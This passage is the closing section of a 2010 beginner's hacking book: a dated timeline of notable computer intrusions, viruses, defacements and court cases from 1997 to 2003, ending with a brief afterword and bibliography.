  5631. [1997 May 23] Carlos Felipe Salgado, Jr., 36, who used the on- line name 'Smak', allegedly inserted a sniffer program
  5632. that gathered the credit information from a dozen companies selling products over the Internet. Carlos gathered 100,000
  5633. credit card numbers along with enough information to use them, said the FBI.
  5634. [1997 Jun] Netcom (bought by MindSpring, MindSpring then bought by Earthlink) voice-mail hacked by 'Mr Nobody'. The
  5635. 15-year-old intruder claimed he has been inside Netcom's voice-mail for two years. There, he cracked into numerous
  5636. Mailboxes via his telephone key pad and used the system to break into third-party telephone switches to make longdistance
  5637. calls.
  5638. [1997 Oct 31] Eugene Kashpureff arrested for redirecting the NSI web page to his Alternic web site. Kashpureff designed
  5639. a corruption of the software system that allows Internet- linked computers to communicate with each other. By exploiting
  5640. a weakness in that software, Kashpureff hijacked Internet users attempting to reach the web site for InterNIC, his chief
  5641. commercial competitor, to his AlterNIC web site, impeding those users' ability to register web site domain names or to
  5642. review InterNIC's popular "electronic directory" for existing domain names.
  5643. [1997 Dec] Julio Ardita ('El Griton') a 21 year old Argentinean was sentenced to a three- year probation for hacking into
  5644. computer systems belonging to Harvard , NASA , Los Alamos National Laboratory and the Naval Command, Control and
  5645. Ocean Surveillance Center.
  5646. [1997 Dec 8] www.yahoo.com is defaced by 'pantz' and 'h4gis'.
  5647. [1998] Two hackers, Hao Jinglong and Hao Jingwen (twin brothers) are sentenced to death by a court in China for
  5648. breaking into a bank computer network and stealing 720,000 yuan ($87,000). The Yangzhou Intermediate People ’s
  5649. Court in eastern Jiangsu province of China rejected an appeal of Hao Jingwen and upholding a death sentence against
  5650. him. Jingwen and his brother, Hao Jinglong, hacked into the Industrial and Commercial Bank of China computers and
  5651. shifted 720,000 yuan ($87,000) into accounts they had set up under phoney names. In September of 1998, they
  5652. withdrew 260,000 yuan ($31,400) of those funds. Hao Jinglong ’s original sentence to death was suspended in return for
  5653. his testimony.
  5654. [1998 Jan 1] Mark Abene ('Phiber Optik'), a security expert, launched a command to check a client's password files—and
  5655. ended up broadcasting the instruction to thousands of computers worldwide. Many of the computers obligingly sent him
  5656. their password files. Abene explained that the command was the result of a misconfigured system, and that he had no
  5657. intention of generating a flood of password files into his mailbox.
  5658. [1998 Jan 16] Tallahassee Freenet hacked. TFN was attacked by a person or persons whose intent was clearly to
  5659. destroy all of the files on the system. Before the attacks were stopped by bringing the system offline, thousands of user
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  5663. home directories, many system files, and all of the user spool mail had been deleted.
  5664. [1998 Feb 25] MIT Plasma & Fusion Center (PSFC) and DoD computers hacked by Ehud Tenebaum ('Analyzer'). The
  5665. MIT computer was running an old version of Linux , the vulnerability which facilitated intrusion. After gaining access to an
  5666. account, the hackers took advantage of other security holes and installed a packet- sniffer. The hackers were able to
  5667. collect user names and passwords to computers outside the network.
  5668. [1998 Feb. 26] Solar Sunrise, a series of attacks targeting Pentagon computers, leads to the establishment of roundtheclock,
  5669. online guard duty at major military computer sites.
  5670. [1998 Feb 27] The 56-bit DES- II-1 challenge by RSA Data Security was completed by a massively distributed array of
  5671. computers coordinating their brute- force attacks via the distributed.net "organization." The cleartext message read,
  5672. "Many hands make light work." The participants collectively examined 6.3 x 10^16 keys—fully 90 percent of the entire
  5673. keyspace—in about 40 days.
  5674. [1998 Mar 3] Santa Rosa Internet Service Provider NetDex rehacked by Ehud Tenebaum ('Analyzer'), in retaliation over
  5675. the arrest of his two U.S. hacker friends ('Cloverdale Two').
  5676. [1998 Mar 18] Ehud Tenebaum ('The Analyzer'), an Israeli teen-ager is arrested in Israel. During heightened tensions in
  5677. the Persian Gulf, hackers touch off a string of break- ins to unclassified Pentagon computers and steal software
  5678. programs. Officials suspect him of working in concert with American teens to break into Pentagon computers. Then-U.S.
  5679. Deputy Defense Secretary John Hamre calls it "the most organized and systematic attack" on U.S. military systems to
  5680. date. An investigation points to two American teens. A 19-year-old Israeli hacker who calls himself 'The Analyzer' (Ehud
  5681. Tenebaum) is eventually identified as their ringleader and arrested. Israeli Prime Minister Benjamin Netanyahu calls
  5682. Tenebaum "damn good ... and very dangerous." The attacks exploited a well-known vulnerability in the Solaris operating
  5683. system for which a patch had been available for months. Today Tenebaum is chief technology officer of a computer
  5684. consulting firm.
  5685. [1998 Mar 20] Two teenagers hack T-Online, the online service run by Germany's national telephone company, and steal
  5686. information about hundreds of bank accounts. The two 16-year-old hackers bragged about their exploits, calling
  5687. Deutsche Telekom's security for the online service "absolutely primitive".
  5688. [1998 Apr] Shawn Hillis, 26, of Orlando, Florida, a former employee of NASA contractor Lockheed Martin Corp., pled
  5689. guilty in Federal district court to using a NASA workstation at the Kennedy Space Center to gain unauthorized access to
  5690. computer networks of several Orlando businesses.
  5691. [1998 Apr 20] An Alabama juvenile hacker launches an e-mail bomb attack consisting of 14,000 e-mail messages across
  5692. a NASA network against another person using network systems in a commercial domain. The youth was later ordered to
  5693. probationary conditions for 12 months.
  5694. [1998 Apr 22] The MoD criminal hacker group (Masters of Downloading, not to be confused with the 1980's group
  5695. Masters of Deception) claimed to have broken into a number of military networks, including theDISN (Defense
  5696. Information Systems Network); and the DEM (DISN Equipment Manager), which controls the military's global positioning
  5697. satellites (GPSs).
  5698. [1998 May] Members from the Boston hacker group, L0pht (now @stake ), testify before the U.S. Senate about Internet
  5699. vulnerabilities.
  5700. [1998 May 30] A criminal hacker used the sheer size of AOL's technical support (6,000 people) to social engineer his
  5701. way into the ACLU's web site. The attacker repeatedly phoned AOL until he found a support technician foolish enough to
  5702. grant access to the targeted web site, which was wiped out as a result of the attack.
  5703. [1998 Jun 30] Former Coast Guard employee, Shakunla DeviSingla, entered a personnel database she had helped
  5704. design. DeviSingla used her experience and a former co-worker ’ s password and other identification to delete data. Her
  5705. action required 115 employees and 1800 hours to recover the deleted information
  5706. [1998 Jul 31] During Def Con 6 The Cult of the Dead Cow (cDc) release Back Orifice (BO), a tool for analyzing and
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  5710. compromising Windows security.
  5711. [1998 Sep 13] Hackers deface The New York Times (www.nytimes.com) web site, renaming it HFG (Hacking for Girls).
  5712. The hackers express anger at the arrest and imprisonment of Kevin Mitnick, the subject of the book 'Takedown '
  5713. coauthored
  5714. by Times reporter John Markoff . In early November, two members of HFG told Forbes magazine that they
  5715. initiated the attack because they were bored and couldn't agree on a video to watch.
  5716. [1998 Sep 17] Aaron Blosser a contract programmer and self-described "math geek" harnessed over 2,500 U S West
  5717. computers by installing a program that would utilize their idle time to find very large prime numbers. Their combined
  5718. computational power in theory surpassed that of most supercomputers. Blosser enlisted 2,585 computers to work at
  5719. various times during the day and night and quickly ran up 10.63 years of computer processing time in his search for a
  5720. new prime number. "I've worked on this (math) problem for a long time," said Blosser. "When I started working at U S
  5721. West, all that computational power was just too tempting for me."
  5722. [1998 Oct 1] Hackers calling themselves the Electronic Disruption Theater allege the Pentagon used illegal offensive
  5723. information warfare techniques (DDoS attack)- - a charge DoD officials deny- - to thwart the group's recent computer
  5724. attack.
  5725. [1998 Nov] The 'Cloverdale Two' sentenced to 3 years probation, the two Cloverdale, California teens ('Makaveli' and
  5726. 'Too Short') hacked dozens of computer systems, including ones run by the Pentagon . It was later discovered that the
  5727. infamous Israeli hacker, Ehud Tenebaum ('Analyzer') was the mastermind and mentor to the teens.
  5728. [1999 Feb 1] Canadian teen charged in Smurf attack of Sympatico ISP. Smurf attacks are when a malicious Internet user
  5729. fools hundreds or thousands of systems into sending traffic to one location, flooding the location with pings. The attack
  5730. was eventually traced to the teen's home.
  5731. [1999 Feb 15] 15-year-old from Vienna hacks into Clemson University's system and tries breaking into NASA .
  5732. [1999 Mar 18] Jay Satiro, an 18-year-old high school dropout was charged with computer tampering after hacking into
  5733. the internal computers of America Online and altering some programs. Jay pled guilty and was sentenced to one year in
  5734. jail and five years without a home PC.
  5735. [1999 Mar 26] Melissa virus affects 100,000 email users and caused $80 million in damages; written by David Smith a
  5736. 29-year-old New Jersey computer programmer. The virus known as Melissa, was named after a Florida stripper.
  5737. [1999 Apr] Ikenna Iffih, age 28, of Boston, Massachusetts, was charged with using his home computer to illegally gain
  5738. access to a number of computers, including those controlled by NASA and an agency of the U.S. Department of
  5739. Defense , where, among other things, he allegedly intercepted login names and passwords, and intentionally caused
  5740. delays and damage in communications. On November 17, 2000, he was sentenced to 6 months home detention, placed
  5741. on supervised release for 48 months, and ordered to pay $5,000 in restitution.
  5742. [1999 Apr 26] CIH virus released by Chen Ing-Hou, the creator of the CIH virus, that takes his initials. This was the first
  5743. known virus to target the flash BIOS.
  5744. [1999 May] The Napster peer- to-peer MP3 file-sharing system, used mainly to copy and swap unencrypted files of songs
  5745. for free, begins to gain popularity, primarily on college campuses where students have easy access to high-speed
  5746. Internet connections. It was created by Northeastern University students Shawn Fanning and Sean Parker, age 19 and
  5747. 20, respectively. Before being shut down on July 2, 2001, Napster, had attracted 85 million registered users downloading
  5748. as many as 3 billion songs a month.
  5749. [1999 May 11] Whitehouse.gov defaced by Global Hell.
  5750. [1999 Jul 10] Back Orifice 2000 released at Def Con 7.
  5751. [1999 Aug 30] Microsoft Corporation shuts down its Hotmail operation for approximately two hours. The shut down
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  5755. comes after receiving confirmed reports that hackers breached some of their servers by entering Hotmail accounts
  5756. through third-party Internet providers without using passwords.
  5757. [1999 Aug 19] ABC news web site defaced by United Loan Gunmen.
  5758. [1999 Sep 5] C-Span web site defaced by United Loan Gunmen.
  5759. [1999 Sep 13] Drudge Report web site defaced by United Loan Gunmen
  5760. [1999 Sep 23] Nasdaq and American Stock Exchange web sites defaced by United Loan Gunmen.
  5761. [1999 Nov] 15-year-old Norwegian, Jon Johansen , one of the three founding members of MoRE (Masters of Reverse
  5762. Engineering), the trio of programmers who created a huge stir in the DVD marketplace by releasing DeCSS , a program
  5763. used to crack the Content Scrambling System (CSS) encryption used to protect every DVD movie on the market. On
  5764. Jan. 24, 2000 authorities in Norway raid Johansen's house and take computer equipment.
  5765. 2000s
  5766. [2000 Jan 15] 19-year-old Raphael Gray ('Curador') steals over 23,000 credit card numbers from 8 small companies.
  5767. Raphael styled himself as a "saint of e-commerce", as he hacked into U.S., British and Canadian companies during a
  5768. "crusade" to expose holes in Internet security and who used computer billionaire Bill Gates' credit card details to send
  5769. him Viagra.
  5770. [2000 Feb 7] 16-year-old Canadian hacker nicknamed 'Mafiaboy ', carried out his distributed denial-of-service (DDoS)
  5771. spree using attack tools available on the Internet that let him launch a remotely coordinated blitz of 1-gigabits- persecond
  5772. flood of IP packet requests from "zombie" servers which knocked Yahoo off- line for over 3 hours. After pleding guilty
  5773. 'Mafiaboy' was sentenced on Sep. 12 2001 to eight months in a youth detention center.
  5774. [2000 Feb 9] Two days later the DDoS attacks continued, this time hitting eBay , Amazon , Buy.com, ZDNet , CNN,
  5775. E*Trade and MSN.
  5776. [2000 May] GAO (General Accounting Office) auditors were able to gain access to sensitive personal information from
  5777. the Department of Defense (DOD) through a file that was publicly available over the Internet. The auditors tapped into
  5778. this file without valid user authentication and gained access to employee's Social Security numbers, addresses and pay
  5779. information.
  5780. [2000 May 15] Love Bug virus sent from Philippines; AMA computer college. Michael Buen & Onel de Guzman are
  5781. suspected of writing the virus.
  5782. [2000 Jun 1] Qualcomm in San Diego hacked by University of Wisconsin-Madison student Jerome Heckenkamp
  5783. ('MagicFX').
  5784. [2000 Jun 15] An Information Technology consultant breached the security of British internet service provider Redhotant
  5785. to expose security lapses. He managed to obtain the names, addresses, passwords and credit card details of more than
  5786. 24,000 people, including military scientists, government officials, and top company executives just to show it could be
  5787. done. The hacker said breaching the site's security was "child's play".
  5788. [2000 Jul 18] AOL , based in Vienna, Virginia, confirmed that records for more than 500 so-called screen names of its
  5789. customers had been hacked. Those records typically contain information such as a customer's name, address and the
  5790. credit card number used to open the account.
  5791. [2000 Jul 7] Utilities firm Powergen located in the UK was forced to ask thousands of its customers to cancel credit cards
  5792. after a web site blunder left a database of card details exposed.
  5793. [2000 Jul 24] Andrew Miffleton ('Daphtpunk'), age 25, of Arlington, Texas was sentenced in federal court to 21 months
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  5797. imprisonment and ordered to pay a $3,000.00 fine. Miffleton associated himself with a group known as "the Darkside
  5798. Hackers", who were interested in using unauthorized access devices to fraudulently obtain cellular telephone service
  5799. through cloned cellular telephones or long distance telephone service through stolen calling card numbers.
  5800. [2000 Aug 17] United States District Judge Lewis Kaplan in New York bars Eric Corley ('Emmanuel Goldstein'), publisher
  5801. of 2600 magazine , from republishing software hacks that circumvent DVD industry encryptions. The code would enable
  5802. movies to be more readily copied and exchanged as data files on the Internet.
  5803. [2000 Sep 5] A 21-year-old New Rochelle, New York man was sentenced to four months in prison for breaking into two
  5804. computers owned by NASA's Jet Propulsion Laboratory in 1998 and using one to host Internet chat rooms devoted to
  5805. hacking, prosecutors said. Raymond Torricelli ('rolex') was a member of the hacking group '#conflict' which used their
  5806. computers to electronically alter the results of the annual MTV Movie Awards . Additionally, over 76,000 discrete
  5807. passwords were found on Raymond's personal computer.
  5808. [2000 Sep 6] Patrick W. Gregory ('MostHateD'), age 20, pled guilty for his role as a founding member of a hacking ring
  5809. called GlobalHell and is sentenced to 26 months imprisonment, three years supervised release, and was ordered to pay
  5810. $154,529.86 in restitution. GlobalHell is said to have caused at least $1.5 million in damages to various U.S. corporations
  5811. and government entities, including the White House and the U.S. Army . Gregory, a high school dropout who has said he
  5812. wants to start his own computer security business, admits in a plea agreement to stealing telephone conferencing
  5813. services from AT&T , MCI , and Latitude Communications and holding conference calls between 1997 and May 1999 with
  5814. other hackers around the country.
  5815. [2000 Sep 26] Jason Diekman ('Shadow Knight', 'Dark Lord') arrested after Federal agents discovered evidence on
  5816. Diekman ’ s computers indicating that he intercepted usernames and passwords from universities, including Harvard
  5817. University. In a statement he made to investigators, Diekman admitted that he had hacked into "hundreds, maybe
  5818. thousands" of computers, including systems at JPL, Stanford , Harvard , Cornell University, the California State University
  5819. at Fullerton, and University of California campuses in Los Angeles and San Diego. On February 4, 2002, Diekman was
  5820. sentenced to 21 months in federal prison, three years supervised release, restricted use of the computer and over
  5821. $87,000 in restitution.
  5822. [2000 Oct] Microsoft admits that its corporate network has been hacked and source code for future Windows products
  5823. has been seen. Hacker suspeted to be from St Petersburg.
  5824. [2000 Oct 10] FBI lure 2 Russian hackers to their arrest in Seattle, after it was determined that Alexei Ivanov, 20, and
  5825. Vasiliy Gorshkov, 25, spent two years victimizing American businesses. The FBI established a bogus computer security
  5826. firm that they named, fittingly enough, Invita. They leased office space in downtown Seattle and immediately called
  5827. Ivanov in Russia about possible employment as a hacker. The FBI communicated with Gorshkov and Ivanov, by e-mail
  5828. and telephone during the summer and fall of 2000. The men agreed to a face- to- face meeting and on Nov. 10, Gorshkov
  5829. and Ivanov flew to Seattle and went directly to a two-hour "job interview" with undercover FBI agents who were posing
  5830. as Invita staff. The Russians were asked to further demonstrate their hacking skills on an IBM Thinkpad provided by the
  5831. agents. The hackers happily complied and communicated with their home server back in Chelyabinsk, unaware that the
  5832. laptop they were using was running a "sniffer" program that recorded their every keystroke. The FBI agents' descriptions
  5833. of the meeting portray Ivanov and Gorshkov as not only blissfully ignorant of their impending arrest, but also somewhat
  5834. cocky about their hacking skills. At one point in the meeting, as Gorshkov glibly detailed how he and Ivanov extorted
  5835. money from a U.S. Internet service provider after hacking into its servers, he told the room of undercover agents that
  5836. "the FBI could not get them in Russia."
  5837. [2000 Oct 28] After 9 million hack attempts security web site AntiOnline is defaced by Australian hacker 'ron1n' ('n1nor').
  5838. AntiOnline was deemed "unhackable" by the sites owner, John Vranesevich , but a poorly coded cgi script(s) written by
  5839. Vranesevich led to the hack.
  5840. [2000 Nov 7] A 19-year-old Dutch hacker named 'Dimitri' broke in to Microsoft ’s internal web servers with intentions to
  5841. show the company its vulnerability due to not installing their own patches.
  5842. [2000 Dec 13] More than 55,000 numbers were stolen from Creditcards.com, which processes credit transactions for
  5843. online companies. About 25,000 of them were posted online when an extortion payment was not made.
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  5847. [2000 Dec 24] Exigent International , a U.S. government contractor, acknowledged that one or more cyberthieves broke
  5848. into a restricted federal computer system and stole the company's proprietary code for controlling satellite systems. The
  5849. software, known as OS/COMET, allows ground- control personnel to communicate and send commands to satellites and
  5850. rockets. The U.S. Air Force has plans to use the OS/COMET software to control the NAVSTAR Global Positioning
  5851. System from its Colorado Springs Monitor Station, which is part of the Air Force Space Command.
  5852. [2001 Feb 1] Hackers invade World Economic Forum. The compromised data included credit card numbers, personal
  5853. cell phone numbers and information concerning passports and travel arrangements for a number of government and
  5854. business leaders. Among the notable victims whose personal information was pilfered were Microsoft chairman Bill
  5855. Gates , Palestinian Authority chairman Yasser Arafat, U.N. Secretary-General Kofi Annan, former U.S. Secretary of State
  5856. Madeline Albright and former Israeli Prime Minister Shimon Peres.
  5857. [2001 Feb 12] Anna Kournikova virus released by 20-year-old Dutchman Jan de Wit ('OnTheFly') who was later arrested
  5858. and sentenced to 150 hours of community service.
  5859. [2001 Mar 1] FBI reports that 40 e-commerce sites located in 20 U.S. states were cracked by eastern Europe hackers,
  5860. have stolen more than one million credit card numbers from U.S. e-commerce and banking websites.
  5861. [2001 Mar 7] Jesus Oquendo ('Sil'), age 27, of Queens, New York was convicted and sentenced to 27 months in
  5862. Manhattan federal court on charges of computer hacking and electronic eavesdropping of victim company Five Partners
  5863. Asset Management LLC ("Five Partners"), a venture capital company based in Manhattan. Oquendo left the victim a
  5864. taunting message on its network: "Hello, I have just hacked into your system. Have a nice day."
  5865. [2001 May 1] Chinese and U.S. hackers attack each other because of the U.S. spy plane that had to make an
  5866. emergency landing in China after the U.S. plane collides with and kills Chinese fighter pilotWang Wei .
  5867. [2001 May 4] Gibson Security Research Corp came under attack (DDOS) and taken off- line by a 13-year-old hacker, at
  5868. first due to a mistaken belief that Steve Gibson had called him a name, then simply because it was fun.
  5869. [2001 May 11] Solaris/IIS worm infects Solaris boxes up to version 7, and then scans for IIS machines susceptible to the
  5870. folder traversal vulnerability and then replaces the default web page.
  5871. [2001 May 15] Hackers attack University of Washington and put file sharing program on its computers.
  5872. [2001 May 17] 'Fluffy Bunny' hacker group hacks Apache.org and SourceForge.net .
  5873. [2002 May 21] Max Butler ('Max Vision' and 'The Equalizer') was sentenced to 18 months in prison for launching an
  5874. Internet worm that crawled through hundreds of military and defense contractor computers over a few days in 1998. Max
  5875. Butler also lived three lives for five years. As 'Max Vision', he was an incredibly skilled hacker and security expert who
  5876. boasted that he'd never met a computer system he couldn't crack. As 'The Equalizer', he was an FBI informant, reporting
  5877. on the activities of other hackers. As Max Butler, he was a family man in Santa Clara, California who ran a Silicon Valley
  5878. security firm. At Max Vision Network Security, he specialized in running "penetration tests," attempting to break into
  5879. corporate networks to prove that their security wasn't as good as it could be.
  5880. [2001 Jun 9] Los Angeles Times newspaper reports that hackers attacked a computer system that controls much of the
  5881. flow of electricity across California ’ s power grid for seventeen days or more during the state’ s worse days of the power
  5882. crisis. According to the Times, the discover was ade on Friday, May 11 and that it was determined that attackes began
  5883. as early as Wednesday, April 25. The attack appears to have primarily by an individual associated to China ’ s
  5884. Guangdong province and routed through China Telecom. The 17-day intrusion into the networks running California's
  5885. leading electric power grid has caused considerable concern among state and federal bureaucrats.
  5886. [2001 Jun 15] Christine Gunhus, the wife of an U.S. senator, pleads no contest to charges of using a pseudonym to send
  5887. e-mail messages that disparaged her husband's Democratic rival.
  5888. [2001 Jun 20] U.S. security company ZixIt reported that a database holding details of customers' credit cards had been
  5889. hacked.
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  5893. [2001 Jul 12] Notorious hacker group World of Hell managed to deface 679 web sites in just one minute.
  5894. [2001 Jul 17] Code Red worm is released. The worm exploits vulnerabilities in theMicrosoft Internet Information Server
  5895. IIS. The worm got its name from "Code Red" Mountain Dew which was used to stay awake by the hackers that
  5896. disassembled the exploit.
  5897. [2001 Jul 16] 27-year old Russian programmer Dmitry Sklyarov arrested at Def Con 9 for creating a program to copy
  5898. Adobe electronic books. He was charged with violating the 1998 Digital Millennium Copyright Act. Demitry was later
  5899. released, as part of the agreement, Sklyarov will testify for the government in the case that remains against ElcomSoft ,
  5900. the company that sells the copying software.
  5901. [2001 Aug 21] Washington- based Riggs bank has its Visa customer database stolen by hackers.
  5902. [2001 Sep 18] Nimda worm (admin backwards) starts to spread, infecting Microsoft IIS servers that are open to known
  5903. software vulnerabilities.
  5904. [2001 Nov 20] Hackers access Playboy.com's credit card data. The hacking group 'ingreslock 1524' claim responsibility.
  5905. [2001 Nov 20] 25 church web sites hacked by Hacking for Satan group.
  5906. [2001 Dec 8] Federal prosecutors accuse one time Los Alamos National Laboratory employee Jerome Heckenkamp of
  5907. breaking into Qualcomm and other corporate computer systems while he was a student. Heckenkamp, they say called
  5908. himself 'MagicFX'. When school police asked for the password for his personal computer. Court records say
  5909. Heckenkamp chuckled when he gave it up. "Hackme," he told them. Jerome is also suspected of hacking into a halfdozen
  5910. other companies, including eBay Inc. and E*Trade Inc., over a nine-month period.
  5911. [2001 Nov 26] 2 former Cisco accountants sentenced to 34 months for breaking into company computers and stealing
  5912. stock.
  5913. [2002 Feb 25] A 17-year-old female hacker, from Belgium, calling herself 'Gigabyte' takes credit for writing the first-ever
  5914. virus, called 'Sharpei', written in Microsoft's newest programming language C# (C sharp).
  5915. [2002 Jul 11] Hackers broke into USA Today's web site and replaced several of the newspaper's legitimate news stories
  5916. with phony articles. Israeli hackers were suspeted.
  5917. [2002 Jul 25] Princeton University admissions officials gained unauthorized access to a web site at rival Yale University
  5918. containing personal information about applicants to the Ivy League school, according to officials at both institutions.
  5919. [2002 Jul 30] Copies of OpenSSH are trojaned. OpenSSH is a popular, free version of the SSH (Secure Shell)
  5920. communications suite and is used as a secure replacement for protocols such as Telnet, Rlogin, Rsh, and Ftp. The main
  5921. openBSD (ftp.openbsd.org) mirror was compromised, after developers noticed that the checksum of the package had
  5922. changed.
  5923. [2002 Aug 2] Italian police arrest 14 suspected hackers who are accused of thousands of computer intrusions, including
  5924. attacks on the U.S. Army and Navy and the National Aeronautics and Space Administration. They were all members of
  5925. two hacking groups, called Mentor and Reservoir Dogs .
  5926. [2002 Aug 17] Federal law enforcement authorities searched the computers of a San Diego security firm that used the
  5927. Internet to access government and military computers without authorization over the summer. Investigators from the
  5928. FBI,
  5929. the Army and NASA visited the offices of ForensicTec Solutions Inc. seeking details about how the company gained
  5930. access to computers at Fort Hood in Texas and at the Energy Department, NASA and other government facilities. The
  5931. searches began hours after it was reported that ForensicTec consultants used free software to identify vulnerable
  5932. computers and then peruse hundreds of confidential files containing military procedures, e-mail, Social Security numbers
  5933. and financial data, according to records maintained by the company. While ForensicTec officials said they wanted to help
  5934. the government and "get some positive exposure for themselves," authorities are pursuing the matter as a criminal case.
  5935. Hacking For Beginners – Manthan Desai 2010
  5936. w w w . h a c k i n g t e c h . c o . t v
  5937. Page 253
  5938. [2002 Aug 28] The Recording Industry Association of America's (RIAA) web site is defaced , and copyrighted mp3s are
  5939. uploaded to the server. The RIAA along with the Motion Picture Association of America (MPAA), has won many critics
  5940. online in its quest to shut down popular file- trading networks such as Napster .
  5941. [2002 Sep 20] Samir Rana ('Torner') a 21 year-old London hacker is arrested following a year- long investigation into the
  5942. creation of the Linux rootkit program called Tornkit and on suspicion of being a member of the infamous hacker group
  5943. Fluffy Bunny. It was later reporter that Rana owned the pink stuffed toy depicted in website defacements by Fluffy
  5944. Bunny.
  5945. [2002 Sep 23] A UK hacker received an 18-month prison sentence for corporate sabotage. Stephen Carey, a 28-year-old
  5946. computer engineer from Eastbourne, Sussex, is sentenced to 18 months for hacking into a firm's database and
  5947. modifying information.
  5948. [2002 Oct 4] Hacker Vasily Gorshkov, 27, of Chelyabinsk, Russia, is sentenced to three years in prison for convictions
  5949. on 20 counts of conspiracy, fraud and related computer crimes. Gorshkov is also ordered to pay restitution of nearly
  5950. $700,000 for losses he caused to Speakeasy Network of Seattle, and the online credit card payment company PayPal .
  5951. [2002 Oct 8] CERT (Computer Emergency Response Team) advisory is released detailing the discovery of a back door
  5952. (trojan horse) found in the source code files of Sendmail 8.12.6.
  5953. [2002 Oct 16] Microsoft admits to being hacked. The security breach took place on a server that hosts Microsoft's
  5954. Windows beta community, which allows more than 20,000 Windows users a chance to test software that is still in
  5955. development.
  5956. [2002 Oct 21] A distributed denial-of-service (Dee-Dos) attack, lasting one hour, sent a barrage of data at the13
  5957. domainname
  5958. service root servers. The attack was in the form of an ICMP flood, which was blocked by many of the root servers,
  5959. preventing any real loss of network performance.
  5960. [2002 Nov 12] Gary McKinnon ('Solo'), 36, of London, an unemployed British sysadmin was indicted for what US
  5961. authorities describe as the "biggest hack of military computers ever detected". From February 2001 until March 2002,
  5962. McKinnon allegedly exploited poorly- secured Windows systems to attack 92 networks run by NASA , the Pentagon and
  5963. 12 other military installation scattered over 14 states. Private sector businesses were also affected by the alleged
  5964. attacks, which caused an estimated $900,000 in damage overall. Prosecutors said that McKinnon "stole passwords,
  5965. deleted files, monitored traffic and shut down computer networks on military bases from Pearl Harbour to Connecticut".
  5966. [2002 Nov 22] Lisa Chen, a 52-year-old Taiwanese woman who pleaded no contest in one of the largest software piracy
  5967. cases in the U.S. was sentenced to nine years in prison, one of the longest sentences ever for a case involving software
  5968. piracy. Chen was arrested along with three associates in November 2001 after local sheriffs seized hundreds of
  5969. thousands of copies of pirated software worth more than $75 million, software that Chen smuggled from Taiwan.
  5970. [2002 Dec 17] A jury acquitted ElcomSoft, Russian software company, of criminal copyright charges related to selling a
  5971. program that can crack antipiracy protections on electronic books. The case against ElcomSoft is considered a crucial
  5972. test of the criminal provisions of the Digital Millennium Copyright Act (DMCA), a controversial law designed to extend
  5973. copyright protections into the digital age.
  5974. [2003 Jan 21] Computer hacker Kevin Mitnick is goes online for the first time in nearly a decade. He was captured in a
  5975. raid and sent to jail for almost five years for computer crimes against companies including Sun Microsystems and
  5976. Motorola . The prison term was followed by another three and a half years of restrictions regarding Mitnick's access to
  5977. computers and the Internet.
  5978. [2003 Jan 21] Simon Vallor , 22, a British Web designer was sentenced to two years in prison for writing one of the
  5979. world's most destructive viruses which wiped out computers worldwide. Vallor was the author of 3 viruses -- "Gokar,"
  5980. "Redesi," and "Admirer" -- "Gokar" spread the most widely and was at one point ranked as the third most prevalent virus
  5981. of all time.
  5982. Hacking For Beginners – Manthan Desai 2010
  5983. w w w . h a c k i n g t e c h . c o . t v
  5984. Page 254
  5985. [2003 Feb 6] Douglas Boudreau, 21, allegedly installed keystroke monitoring software on more than 100 computers at
  5986. Boston College and then watched as thousands of people sent e-mail, downloaded files and banked online. He was later
  5987. indicted on charges he placed software on dozens of computers that allowed him to secretly monitor what people were
  5988. typing, and then stole around $2,000 using information he gleaned.
  5989. [2003 Feb 7] Two hackers who broke into Riverside County, Calif., court computers and electronically dismissed a
  5990. variety of pending cases plead guilty to the crime. Both William Grace, 22, and Brandon Wilson, 28, were sentenced to
  5991. nine years in jail after pleading guilty to 72 counts of illegally entering a computer system and editing data, along with
  5992. seven counts of conspiracy to commit extortion
  5993. [2003 Feb 10] Twice in the past two weeks, online vandals- -like the ones who tagged many Web sites with"Free Kevin!"
  5994. graffiti during Mitnick's time in prison- -broke into the Web server of the former hacker's security start-up,Defensive
  5995. Thinking .
  5996. [2003 Feb 18] It's reported that a hacker ("unauthorized intruder") gained access to some 8 million credit card account
  5997. numbers —including Visa, MasterCard and American Express —by breaching the security of a company that processes
  5998. transactions for merchants, the card companies said.
  5999. [2003 Mar 7] Online attackers stole information on more than 55,000 students and faculty from insecure database
  6000. servers at the University of Texas at Austin.
  6001. [2003 Apr 29] New Scotland Yard said Wednesday they arrested 24-year-old Lynn Htun at a London convention center,
  6002. the site of InfoSecurity Europe 2003. Law enforcement and Internet security professionals said they believe Htun is the
  6003. mastermind of the “Fluffi Bunni ” hacking exploits, hacking into sites ranging from those ofMcDonalds Corp to Internet
  6004. security specialists SANS Institute and Symantec Corp’s virus detection group SecurityFocus .
  6005. [2003 Jun 12] Web designer John Racine II, 24, admitted diverting traffic and e-mails from al-Jazeera's Arabic Web site
  6006. to a site he had designed called "Let Freedom Ring" and bearing the U.S. flag. John carried out this attack on the al-
  6007. Jazeera Web site during the Iraq war because the Arab satellite TV network had shown pictures of dead and captured
  6008. American soldiers.
  6009. [2003 Jul 6] Internet experts brace for hacker contest. The assault is being billed as a contest to see who can deface
  6010. 6,000 Web sites in six hours. The widely publicised hacking contest which encouraged vandals to deface websites
  6011. ended without causing serious trouble.
  6012. Hacking For Beginners – Manthan Desai 2010
  6013. w w w . h a c k i n g t e c h . c o . t v
  6014. Page 255
  6015. Bibliography
  6016. Thanks For reading this book and I hope the contents described in this book will help you to
  6017. know the minds of hackers. Now you are capable of securing your own and your surrounding
  6018. computers from the Threat we called “HACKING”.
  6019. www.hackingtech.co.tv
  6020. www.google.com
  6021. www.wikipedia.com
  6022. And various blogs for images and tips.
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